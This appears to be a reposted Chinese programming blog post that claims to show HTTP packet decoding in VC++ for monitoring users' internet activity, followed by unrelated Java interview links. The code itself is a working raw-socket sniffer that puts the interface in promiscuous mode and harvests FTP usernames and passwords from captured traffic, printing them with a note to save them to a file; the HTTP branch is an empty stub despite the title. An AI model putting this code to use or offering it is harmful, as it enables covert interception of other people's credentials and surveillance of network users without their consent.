• VC++实现ip数据包解包TCP解包HTTP


    我们需要监控用户的互联网行为,则需要检测HTTP

    如何在网络层截取HTTP呢,众所周知,网站是80号端口

    代码实现如下

    CInitSock theSock;  
      
      
      
    void GetFtp(char *pData, DWORD dwDestIp)  
    {  
        char szBuf[256];  
        static char szUserName[21];  
        static char szPassword[21];  
      
        if(strnicmp(pData, "USER ", 5) == 0)  
        {  
            sscanf(pData + 4, "%*[ ]%s", szUserName);     
        }  
        else if(strnicmp(pData, "PASS ", 5) == 0)  
        {  
            sscanf(pData + 4, "%*[ ]%s", szPassword);  
      
            wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n",   
                                    ::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);  
      
            printf(szBuf);  // 这里您可以将它保存到文件中   
        }  
    }  
      
      
    void DecodeIPPacket(char *pData)  
    {  
        IPHeader *pIPHdr = (IPHeader*)pData;  
      
      
        int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);  
      
        switch(pIPHdr->ipProtocol)  
        {  
        case IPPROTO_TCP:  
            {  
                TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);  
                switch(::ntohs(pTCPHdr->destinationPort))  
                {  
                case 21:    // ftp协议   
                    {  
                        GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);  
                    }  
                    break;  
      
                case 80:    // http协议...   
                case 8080:  
                      
                    break;  
                }  
            }  
            break;  
        case IPPROTO_UDP:  
            break;  
        case IPPROTO_ICMP:  
            break;   
        }  
    }  
      
      
    void main()  
    {  
        // 创建原始套节字   
        SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);  
      
        // 获取本地IP地址   
        char szHostName[56];  
        SOCKADDR_IN addr_in;  
        struct  hostent *pHost;  
        gethostname(szHostName, 56);  
        if((pHost = gethostbyname((char*)szHostName)) == NULL)    
            return ;  
      
        // 在调用ioctl之前,套节字必须绑定   
        addr_in.sin_family  = AF_INET;  
        addr_in.sin_port    = htons(0);  
        memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);  
      
        printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr));  
        if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)  
            return;  
      
        // 设置SIO_RCVALL控制代码,以便接收所有的IP包     
        DWORD dwValue = 1;  
        if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)      
            return ;  
          
        // 开始接收封包   
        printf(" \n\n begin to monitor ftp password... \n\n");  
        char buff[1024];  
        int nRet;  
        while(TRUE)  
        {  
            nRet = recv(sRaw, buff, 1024, 0);  
            if(nRet > 0)  
            {  
                DecodeIPPacket(buff);  
            }  
        }  
        closesocket(sRaw);  
    }  
    


     

  • 相关阅读:
    一个.java源文件中可以有多个类吗?(内部类除外)有什么条件?
    接口中定义的变量为什么是常量
    关于String s = new String("xyz");创建了几个字符串对象?的问题
    java面试题之----JVM架构和GC垃圾回收机制详解
    Object中的clone方法
    C/S与B/S架构的区别和优缺点
    EJB是什么?
    JNDI是什么,怎么理解
    java中什么是上下文(servletContext)
    java面试题----String、StringBuffer、StringBudder区别
  • 原文地址:https://www.cnblogs.com/new0801/p/6177626.html
Copyright © 2020-2023  润新知